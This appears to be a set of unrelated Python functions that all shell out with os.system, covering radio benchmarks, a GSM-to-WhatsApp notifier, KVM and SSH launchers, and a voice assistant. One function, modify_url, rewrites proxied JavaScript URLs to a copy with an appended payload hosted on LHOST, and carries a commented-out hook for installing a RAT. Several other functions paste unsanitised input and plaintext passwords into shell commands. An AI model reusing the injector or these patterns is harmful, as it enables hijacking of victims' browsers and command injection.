def handleIncomingCall(call): logging.basicConfig(filename='/var/log/gsm.log', format='%(levelname)s: %(message)s', level=logging.DEBUG) print('Incoming call from:', call.number) caller = "Mario, te esta llamando el siguiente numero: " + str(call.number) cmd = "/home/pi/Desktop/yowsup/yowsup/yowsup-cli demos -l 44XXXXXXXXX:pass -s 34XXXXXXXXX " + "'" + caller + "'" print (cmd) logging.info(call.number) os.system(cmd) mensaje = " Te devuelo la llamada rapido - Mario" if call.number != None: cmd = "/home/pi/Desktop/yowsup/yowsup/yowsup-cli demos -l 44XXXXXXXXX:pass= -s 34" + str(call.number) + " '" + mensaje + "'" logging.warning(cmd) print (cmd) os.system(cmd) if call.ringCount == 10000: print('Incoming call from:', call.number) print('Answering call and playing some DTMF tones...') call.answer() # Wait for a bit - some older modems struggle to send DTMF tone immediately after answering a call time.sleep(2.0) try: call.sendDtmfTone('11111111') except InterruptedException as e: # Call was ended during playback print('DTMF playback interrupted: {0} ({1} Error {2})'.format(e, e.cause.type, e.cause.code)) finally: if call.answered: print('Hanging up call.') call.hangup() else: print(' Call from {0} is still ringing...'.format(call.number))
def modify_url(line): new_url = '\n' list = line.split(' ') old_url = search(r'(^\w{3,10}:\/\/[^\?;&]+\.js)(?:\?.+)?$', list[0]) ''' old_url = search(r'(^\w{3,10}:\/\/[^\?;&]+(?:\.js|exe))(?:\?.+)?$', list[0]) ''' if old_url is not None: ''' if(str(old_url.group(1)).endswith('.exe')): return install_rat(old_url.string) ''' old_url = old_url.string if not os.path.isdir(TMPPATH): try: os.makedirs(TMPPATH) os.chmod(TMPPATH, 0755) except OSError as exception: if exception.errono != errno.EEXIST: raise os.system('wget -q -O %s%s %s' % (TMPPATH, JSFILE, old_url)) with open(TMPPATH + JSFILE, 'a') as js: js.write(open(PASARELA).read()) os.chmod(TMPPATH + JSFILE, 0644) new_url = '%stmp/%s%s' % (LHOST, JSFILE, new_url) return new_url
def restart_os(platform, command, debug): if 'linux' in platform or 'Linux' in platform: print('[RESTART] OS is going to ' + str(command)) if command == 'reboot': cmd = "sudo shutdown now -r" elif command == 'shutdown': cmd = "sudo shutdown now -h" else: cmd = "true" os.system(cmd) else: print('[RESTART] ' + str(command) + ' Unsupported OS')
def run_rate4site(self, bRunRate4Site = True): if bRunRate4Site: if "linux" in _platform: cmdtxt = "rate4site -t " + self.treFile + " -s " + self.fasFile + " -o " + self.r4sFile print cmdtxt os.system(cmdtxt) #cmdtxt = "unix2dos.exe " + r4sFile #print cmdtxt if os.path.isfile(self.r4sFile): self.parse_rate4site_to_list (self.r4sFile) self.bRate4SiteDidRun = True else: print "######Rate4site output file not found: " + self.r4sFile print "######Rate4site output file not found: " + self.r4sFile print "######Rate4site output file not found: " + self.r4sFile
def main(): def send_pkt(payload='', eof=False): return tb.txpath.send_pkt(payload, eof) mods = digital.modulation_utils.type_1_mods() parser = OptionParser(option_class=eng_option, conflict_handler="resolve") expert_grp = parser.add_option_group("Expert") parser.add_option("-m", "--modulation", type="choice", choices=mods.keys(), default='dqpsk', help="Select modulation from: %s [default=%%default]" % (', '.join(mods.keys()),)) # parser.add_option("-s", "--size", type="eng_float", default=1442, # help="set packet size [default=%default]") # parser.add_option("-M", "--megabytes", type="eng_float", default=1.0, # help="set megabytes to transmit [default=%default]") parser.add_option("","--discontinuous", action="store_true", default=False, help="enable discontinous transmission (bursts of 5 packets)") parser.add_option("","--from-file", default=None, help="use intput file for packet contents") parser.add_option("","--to-file", default=None, help="Output file for modulated samples") transmit_path.add_options(parser, expert_grp) uhd_transmitter.add_options(parser) for mod in mods.values(): mod.add_options(expert_grp) (options, args) = parser.parse_args () if len(args) != 0: parser.print_help() sys.exit(1) if options.from_file is not None: source_file = open(options.from_file, 'r') # build the graph tb = my_top_block(mods[options.modulation], options) ftb = filter_top_block(options) r = gr.enable_realtime_scheduling() if r != gr.RT_OK: print "Warning: failed to enable realtime scheduling" tb.start() # start flow graph ftb.start() # log parameter to OML cmd1 = "/root/OML/omlcli --out h2_benchmark --line \"" cmd1 = cmd1 + " tx-freq=" + str(options.tx_freq) cmd1 = cmd1 + " modulation=" + str(options.modulation) cmd1 = cmd1 + " tx-gain=" + str(options.tx_gain) cmd1 = cmd1 + " bitrate=" + str(options.bitrate) cmd1 = cmd1 + " sps=" + str(options.samples_per_symbol) cmd1 = cmd1 + "\"" from subprocess import os os.system(cmd1) # Fetch packets from server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) TCP_IP='10.10.0.51' TCP_PORT=5123 try: s.connect((TCP_IP, TCP_PORT)) except socket.timeout: print"Connection timed out, try again later" return except socket.error: print"Connection error" return print "Setting frequency to %d\n" % (options.tx_freq+625000) tb.sink.set_freq(options.tx_freq+625000) n = 0 pktno = 0 pkt_size = int(1442) MESSAGE = struct.pack('!l',pkt_size-2) while 1: #n < nbytes: if options.from_file is None: try: s.send(MESSAGE) data=s.recv(pkt_size-2) except socket.timeout: print"Connection timed out, try again later" return except socket.error: print"Connection closed" return if data.__len__() < 8: print "Connection timed out, try again later" break if options.verbose: # First 4 bytes are checksum followed by the 4 byte sequence number crc,sn = struct.unpack('!LL',data[:8]) print "Seq #:", sn, " with CRC [", hex(crc), "]" else: data = source_file.read(pkt_size - 2) if data == '': break; payload = struct.pack('!H', pktno & 0xffff) + data send_pkt(payload) n += len(payload) sys.stderr.write('.') if options.discontinuous and pktno % 5 == 4: time.sleep(1) if pktno % 25 == 25-1: tb.sink.set_gain(-60) time.sleep(0.250) low_sum = ftb.probe_lp.level() high_sum = ftb.probe_hp.level() #while 1: #time.sleep(0.1) #low_sum = ftb.probe_lp.level() #high_sum = ftb.probe_hp.level() #print " low=%f\nhigh=%f\n" % (low_sum*100000, high_sum*100000) print "\n low=%f\nhigh=%f\n" % (low_sum*100000, high_sum*100000) if low_sum > high_sum: print "Setting frequency to %d\n" % (options.tx_freq+625000) tb.sink.set_freq(options.tx_freq+625000) else: print "Setting frequency to %d\n" % (options.tx_freq-625000) tb.sink.set_freq(options.tx_freq-625000) tb.sink.set_gain(30) #if pktno % 50 == 50-1: # print "Setting frequency to %d\n" % (options.tx_freq+625000) #tb.sink.set_freq(options.tx_freq+625000) pktno += 1 if options.from_file is None: s.close() time.sleep(5) send_pkt(eof=True) tb.wait() # wait for it to finish
self.addLink('s1', 's3', **ops_link) def help(): print "use command line:" print "sudo python Topology.py [-c or -f or -b or -h]" print "-c = test congestion" print "-f = test forwarding error" print "-b1 = test bandwidth" print "-b2 = test bandwidth with pathload" print "-h = help\n" if __name__ == '__main__': setLogLevel('info') os.system("sudo mn -c") os.system("clear") print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" if len(sys.argv) == 2 and sys.argv[1] == '-c': CongestionTest() elif len(sys.argv) == 2 and sys.argv[1] == '-f': ForwardingErrorTest() elif len(sys.argv) == 2 and sys.argv[1] == '-b1': Bandwidth1() elif len(sys.argv) == 2 and sys.argv[1] == '-b2': Bandwidth2() elif len(sys.argv) == 2 and sys.argv[1] == '-h': help() else: help()
def vKVM_launcher(cimc_ip, c_user, c_password): print "%s에 vKVM에 접속합니다." % cimc_ip os.chdir(kvm_path) # kvm 실행 위치로 변경 cmd = "launchkvm.bat -u %s -p %s -h %s" % (c_user, c_password, cimc_ip) os.system(cmd) os.chdir(original_path) # 기존 실행 위치로 변경: 환경/이미지 파일의 정상 참조를 위함
def main(): global n_rcvd, n_right, start_time, stop_rcv TIMEOUT = 60 # 60sec for hurdle 2 n_rcvd = 0 n_right = 0 start_time = 0 mstr_cnt = 0 stop_rcv = 0 TCP_IP='10.10.0.51' TCP_PORT=5125 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((TCP_IP, TCP_PORT)) except socket.error as e: print "Error connecting to the packet sink: %s" %e.strerror return def rx_callback(ok, payload): global n_rcvd, n_right, start_time, stop_rcv (pktno,crc,sn) = struct.unpack('!HLL', payload[0:10]) n_rcvd += 1 if ok: n_right += 1 try: data = s.recv(4) # if a ready packet is received s.send(payload[2:]) except socket.error as e: print "Socket error: %s" %e.strerror stop_rcv = 1 return if data.__len__() == 0: print "Connection closed" stop_rcv = 1 return if n_right == 1: start_time = time.time() if n_right == 2000: t = time.time() - start_time print"Mod : %5s, Rate : %8d, Time for 2000 pkts : %f sec\n" %(options.modulation, options.bitrate, t) stop_rcv = 1; if options.verbose: print "ok = %5s pktno = %4d n_rcvd = %4d n_right = %4d" %( ok, pktno, n_rcvd, n_right) demods = digital.modulation_utils.type_1_demods() # Create Options Parser: parser = OptionParser (option_class=eng_option, conflict_handler="resolve") expert_grp = parser.add_option_group("Expert") parser.add_option("-m", "--modulation", type="choice", choices=demods.keys(), default='psk', help="Select modulation from: %s [default=%%default]" % (', '.join(demods.keys()),)) parser.add_option("","--from-file", default=None, help="input file of samples to demod") receive_path.add_options(parser, expert_grp) uhd_receiver.add_options(parser) for mod in demods.values(): mod.add_options(expert_grp) (options, args) = parser.parse_args () if len(args) != 0: parser.print_help(sys.stderr) sys.exit(1) if options.from_file is None: if options.rx_freq is None: sys.stderr.write("You must specify -f FREQ or --freq FREQ\n") parser.print_help(sys.stderr) sys.exit(1) # build the graph tb = my_top_block(demods[options.modulation], rx_callback, options) r = gr.enable_realtime_scheduling() if r != gr.RT_OK: print "Warning: Failed to enable realtime scheduling." # log parameters to OML cmd1 = "/root/OML/omlcli --out h2_benchmark --line \"" cmd1 = cmd1 + " rx-freq=" + str(options.rx_freq) cmd1 = cmd1 + " modulation=" + str(options.modulation) cmd1 = cmd1 + " rx-gain=" + str(options.rx_gain) cmd1 = cmd1 + " bitrate=" + str(options.bitrate) cmd1 = cmd1 + " sps=" + str(options.samples_per_symbol) cmd1 = cmd1 + " hostname=" + socket.gethostname() cmd1 = cmd1 + "\"" from subprocess import os os.system(cmd1) tb.start() # start flow graph # tb.wait() # wait for it to finish while mstr_cnt < TIMEOUT*1000: if stop_rcv == 1: break; mstr_cnt = mstr_cnt + 1 time.sleep(0.001) if stop_rcv == 0: print "Receiver timed out, received %d packets successfully in %d sec" %(n_right, TIMEOUT) s.close()
def main(): global n_rcvd, n_right, start_time, stop_rcv TIMEOUT = 600 # 600 sec for hurdle 3 n_rcvd = 0 n_right = 0 lock = Lock() start_time = 0 mstr_cnt = 0 stop_rcv = 0 TCP_IP='idb2' TCP_PORT=5102 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((TCP_IP, TCP_PORT)) except socket.error as e: print "Error connecting to the packet sink: %s" %e.strerror return def rx_callback(ok, payload, channel): global n_rcvd, n_right, start_time, stop_rcv try: (pktno,crc,sn) = struct.unpack('!HLL', payload[0:10]) n_rcvd += 1 if ok: n_right += 1 try: data = s.recv(4) # if a ready packet is received s.send(payload[2:]) except socket.error as e: print "Socket error: %s" %e.strerror stop_rcv = 1 return if data.__len__() == 0: print "Connection closed" stop_rcv = 1 return if n_right == 1: start_time = time.time() #if n_right == 2000: # t = time.time() - start_time # print"Mod : %5s, Rate : %8d, Time for 2000 pkts : %f sec\n" %(options.modulation, options.bitrate, t) # stop_rcv = 1; if options.verbose: print "ok = %5s pktno = %4d n_rcvd = %4d n_right = %4d channel = %1d" %( ok, pktno, n_rcvd, n_right, channel) except: return def rx_callback0(ok, payload): lock.acquire() rx_callback(ok, payload, 0) lock.release() def rx_callback1(ok, payload): lock.acquire() rx_callback(ok, payload, 1) lock.release() demods = digital.modulation_utils.type_1_demods() # Create Options Parser: parser = OptionParser (option_class=eng_option, conflict_handler="resolve") expert_grp = parser.add_option_group("Expert") parser.add_option("-m", "--modulation", type="choice", choices=demods.keys(), default='qam', help="Select modulation from: %s [default=%%default]" % (', '.join(demods.keys()),)) parser.add_option("","--from-file", default=None, help="input file of samples to demod") custom_grp = parser.add_option_group("Custom") custom_grp.add_option("","--guard-width", type="eng_float", default=250e3, help="guard region width") custom_grp.add_option("","--band-trans-width", type="eng_float", default=50e3, help="transition width for band pass filter") custom_grp.add_option("","--low-trans-width", type="eng_float", default=50e3, help="transition width for low pass filter") custom_grp.add_option("","--file-samp-rate", type="eng_float", default=1e6, help="file sample rate") custom_grp.add_option("","--rs-n", type="int", default=252, help="reed solomon n") custom_grp.add_option("","--rs-k", type="int", default=241, help="reed solomon k") custom_grp.add_option("","--num-taps", type="int", default=2, help="taps") receive_path.add_options(parser, expert_grp) uhd_receiver.add_options(parser) for mod in demods.values(): mod.add_options(expert_grp) (options, args) = parser.parse_args () options.bitrate = 3000e3 options.rx_gain = 50 options.constellation_points = 16 if len(args) != 0: parser.print_help(sys.stderr) sys.exit(1) if options.from_file is None: if options.rx_freq is None: sys.stderr.write("You must specify -f FREQ or --freq FREQ\n") parser.print_help(sys.stderr) sys.exit(1) # build the graph tb = my_top_block(demods[options.modulation], rx_callback0, rx_callback1, options) r = gr.enable_realtime_scheduling() if r != gr.RT_OK: print "Warning: Failed to enable realtime scheduling." # log parameters to OML cmd1 = "/root/OML/omlcli --out h3_benchmark --line \"" cmd1 = cmd1 + " rx-freq=" + str(options.rx_freq) cmd1 = cmd1 + " modulation=" + str(options.modulation) cmd1 = cmd1 + " rx-gain=" + str(options.rx_gain) cmd1 = cmd1 + " bitrate=" + str(options.bitrate) cmd1 = cmd1 + " sps=" + str(options.samples_per_symbol) cmd1 = cmd1 + " hostname=" + socket.gethostname() cmd1 = cmd1 + "\"" from subprocess import os os.system(cmd1) tb.start() # start flow graph while mstr_cnt < TIMEOUT*1000: if stop_rcv == 1: break; mstr_cnt = mstr_cnt + 1 time.sleep(0.001) if stop_rcv == 0: print "Receiver timed out, received %d packets successfully in %d sec" %(n_right, TIMEOUT) s.close()
def open_ssh(host, command): parameters = ['ssh'] ansible_vars = host.get_vars() ansible_group_vars = get_group_vars(host.get_groups()) # ansible_user # The default ssh user name to use. username = ansible_vars.get('ansible_user') \ or ansible_vars.get('ansible_ssh_user') if username is None: username = ansible_group_vars.get('ansible_user') \ or ansible_group_vars.get('ansible_ssh_user') userpasswd = ansible_vars.get('ansible_ssh_pass') or ansible_group_vars.get('ansible_ssh_pass') sudopw = ansible_vars.get('ansible_become_pass') or ansible_group_vars.get('ansible_become_pass') if username is not None: parameters.append('-l') parameters.append(username) # ansible_ssh_private_key_file # Private key file used by ssh. # Useful if using multiple keys and you don't want to use SSH agent. identity_file = ansible_vars.get('ansible_ssh_private_key_file') if identity_file is not None: path = os.path.expanduser(identity_file) path = os.path.expandvars(path) path = os.path.abspath(path) parameters.append('-i') parameters.append(path) # ansible_port # The ssh port number, if not 22 port = ansible_vars.get('ansible_port') or 22 if port is not None: parameters.append('-p') parameters.append(str(port)) # ansible_host # The name of the host to connect to, if different from the alias you # wish to give to it. hostname = ansible_vars.get('ansible_host') \ or ansible_vars.get('ansible_ssh_host') \ or host.name # ansible_ssh_common_args # This setting is always appended to the default command line for # sftp, scp, and ssh. Useful to configure a ``ProxyCommand`` for a # certain host (or group). ssh_args = ansible_vars.get('ansible_ssh_extra_args') \ or ansible_group_vars.get('ansible_ssh_extra_args') or "" # ansible_sftp_extra_args # This setting is always appended to the default sftp command line. # ansible_scp_extra_args # This setting is always appended to the default scp command line. # ansible_ssh_extra_args # This setting is always appended to the default ssh command line. parameters.append(hostname) parameters.extend(ssh_args.split()) parameters.extend(command) if userpasswd is not None: parameters.insert(0, "sshpass -p \"" + userpasswd + "\"" ) os.system(" ".join(parameters)) else: print(" ".join(parameters)) os.system(" ".join(parameters))
def main(): def send_pkt(which, payload='', eof=False): return tb.txpath[which].send_pkt(payload, eof) mods = digital.modulation_utils.type_1_mods() parser = OptionParser(option_class=eng_option, conflict_handler="resolve") expert_grp = parser.add_option_group("Expert") parser.add_option("-m", "--modulation", type="choice", choices=mods.keys(), default='qam', help="Select modulation from: %s [default=%%default]" % (', '.join(mods.keys()),)) parser.add_option("-s", "--size", type="eng_float", default=1500, help="set packet size [default=%default]") parser.add_option("-M", "--megabytes", type="eng_float", default=1.0, help="set megabytes to transmit [default=%default]") parser.add_option("","--discontinuous", action="store_true", default=False, help="enable discontinous transmission (bursts of 5 packets)") parser.add_option("","--from-file", default=None, help="use intput file for packet contents") parser.add_option("","--to-file", default=None, help="Output file for modulated samples") custom_grp = parser.add_option_group("Custom") custom_grp.add_option("","--band-trans-width", type="eng_float", default=75e3, help="transition width for band pass filter") custom_grp.add_option("","--low-trans-width", type="eng_float", default=75e3, help="transition width for low pass filter") custom_grp.add_option("","--guard-width", type="eng_float", default=100e3, help="guard region width") custom_grp.add_option("","--file-samp-rate", type="eng_float", default=1e6, help="file sample rate") custom_grp.add_option("","--split-amplitude", type="eng_float", default=0.15, help="multiplier post split") custom_grp.add_option("","--rs-n", type="int", default=252, help="reed solomon n") custom_grp.add_option("","--rs-k", type="int", default=241, help="reed solomon k") custom_grp.add_option("","--num-taps", type="int", default=2, help="reed solomon k") transmit_path.add_options(parser, expert_grp) uhd_transmitter.add_options(parser) for mod in mods.values(): mod.add_options(expert_grp) (options, args) = parser.parse_args () options.bitrate = 3000e3 options.tx_gain = 25 options.constellation_points = 16 if len(args) != 0: parser.print_help() sys.exit(1) if options.from_file is not None: source_file = open(options.from_file, 'r') # build the graph tb = my_top_block(mods[options.modulation], options) r = gr.enable_realtime_scheduling() if r != gr.RT_OK: print "Warning: failed to enable realtime scheduling" tb.start() # start flow graph # log parameter to OML cmd1 = "/root/OML/omlcli --out h3_benchmark --line \"" cmd1 = cmd1 + " tx-freq=" + str(options.tx_freq) cmd1 = cmd1 + " modulation=" + str(options.modulation) cmd1 = cmd1 + " tx-gain=" + str(options.tx_gain) cmd1 = cmd1 + " bitrate=" + str(options.bitrate) cmd1 = cmd1 + " sps=" + str(options.samples_per_symbol) cmd1 = cmd1 + " hostname=" + socket.gethostname() cmd1 = cmd1 + "\"" from subprocess import os os.system(cmd1) # Fetch packets from server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) TCP_IP='idb2' TCP_PORT=5100 try: s.connect((TCP_IP, TCP_PORT)) except socket.timeout: print"Connection timed out, try again later" return except socket.error: print"Connection error" return n = 0 pktno = 0 pkt_size = int(1442) MESSAGE = struct.pack('!l',pkt_size-2) while 1: #n < nbytes: for i in range(2): if options.from_file is None: try: s.send(MESSAGE) data=s.recv(pkt_size-2) except socket.timeout: print"Connection timed out, try again later" return except socket.error: print"Connection closed" return if data.__len__() < 8: print "Connection timed out, try again later" break if options.verbose: # First 4 bytes are checksum followed by the 4 byte sequence number crc,sn = struct.unpack('!LL',data[:8]) print "Seq #:", sn, " with CRC [", hex(crc), "]" else: data = source_file.read(pkt_size - 2) if data == '': break; payload = struct.pack('!H', pktno & 0xffff) + data send_pkt(i, payload) n += len(payload) sys.stderr.write('.') if options.discontinuous and pktno % 5 == 4: time.sleep(1) pktno += 1 if options.from_file is None: s.close() time.sleep(5) send_pkt(0, eof=True) send_pkt(1, eof=True) tb.wait() # wait for it to finish
def vKVM_launcher(cimc_ip, c_user, c_password): print "%s에 vKVM에 접속합니다." % cimc_ip os.chdir('c:\py\kvm') cmd = 'launchkvm.bat -u %s -p %s -h %s' % (c_user, c_password, cimc_ip) os.system(cmd)
def main(): logging.basicConfig(level=logging.DEBUG) parser = argparse.ArgumentParser(description='Assistant service example.') parser.add_argument('--language', default=locale_language()) args = parser.parse_args() logging.info('Initializing for language %s...', args.language) hints = get_hints(args.language) client = CloudSpeechClient() # User name name_input = "" with Board() as board: while True: if hints: logging.info('Say something, e.g. %s.' % ', '.join(hints)) else: logging.info('Say something.') # Greeting the user if name_input == '': greeting = greeting_part_of_day() if greeting == 1: aiy.voice.tts.say("good morning, How may I call you") elif greeting == 2: aiy.voice.tts.say("good afternoon, How may I call you") elif greeting == 3: aiy.voice.tts.say("good evening, How may I call you") else: aiy.voice.tts.say("good night, How may I call you") text = client.recognize(language_code=args.language, hint_phrases=hints) if text is None: logging.info('You said nothing.') continue logging.info('You said: "%s"' % text) text = text.lower() if 'turn on the light' in text: board.led.state = Led.ON elif 'turn off the light' in text: board.led.state = Led.OFF elif 'blink the light' in text: board.led.state = Led.BLINK elif 'goodbye' in text: # make reaction to voicekit while turn it off goodbye_string = 'Good bye' + name_input + ', See you again next time.' aiy.voice.tts.say(goodbye_string) goodbye_string = 'The program will close' aiy.voice.tts.say(goodbye_string) os.system('sudo service cloudspeech_demo stop') break elif 'shutdown' in text or 'shut down' in text: goodbye_string = 'Good bye' + name_input + ', See you again next time.' aiy.voice.tts.say(goodbye_string) shutdown_string = 'System will shutdown' aiy.voice.tts.say(shutdown_string) call('sudo poweroff', shell=True) break elif 'who is jamie' in text: aiy.voice.tts.say('Jamie is hereton friend.') elif 'repeat after me' in text: # Remove "repeat after me" from the text to be repeated to_repeat = text.replace('repeat after me', '', 1) aiy.voice.tts.say(to_repeat) # Set the user name elif 'call me' in text: to_call = text.replace('call me', '') name_input = to_call to_call = 'Hello ' + to_call + ', What can I help you' aiy.voice.tts.say(to_call) elif 'countdown for' in text: to_do_code = text.replace('countdown for', '') to_do_code = to_do_code.replace('minutes', '') to_do_code = to_do_code.replace('minute', '') minute = int(to_do_code.strip()) now = time.time() future = now + (minute * 60) while (future > now): now = time.time() continue aiy.voice.tts.say('Your countdown is over.') elif 'do some programming' in text: aiy.voice.tts.say('I will set the timer for you.') aiy.voice.tts.say('Which unit do you want, minute or hour') text = client.recognize(language_code=args.language, hint_phrases=hints) user_unit = '' user_timer = 0 if 'minute' in text.lower(): user_unit = 'm' elif 'hour' in text.lower(): user_unit = 'h' else: aiy.voice.tts.say( 'I do not know that units, please try again later.') continue aiy.voice.tts.say( 'How long do you want to do programming in ' + text) text = client.recognize(language_code=args.language, hint_phrases=hints) try: user_timer = int(text.strip()) except: aiy.voice.tts.say('The error occur, please try again') continue aiy.voice.tts.say('Start timer') if user_unit == 'm': time.sleep(60 * user_timer) else: time.sleep(3600 * user_timer) aiy.voice.tts.say( 'Stop timer, Your programming time is over. Please take a break.' )
def vKVM_launcher(cimc_ip,c_user,c_password): # vKVM에 접속 - 랙 서버 매니저 print "%s에 vKVM에 접속합니다."%cimc_ip os.chdir("c:\kvm") cmd = "launchkvm.bat -u %s -p %s -h %s"%(c_user,c_password,cimc_ip) os.system(cmd)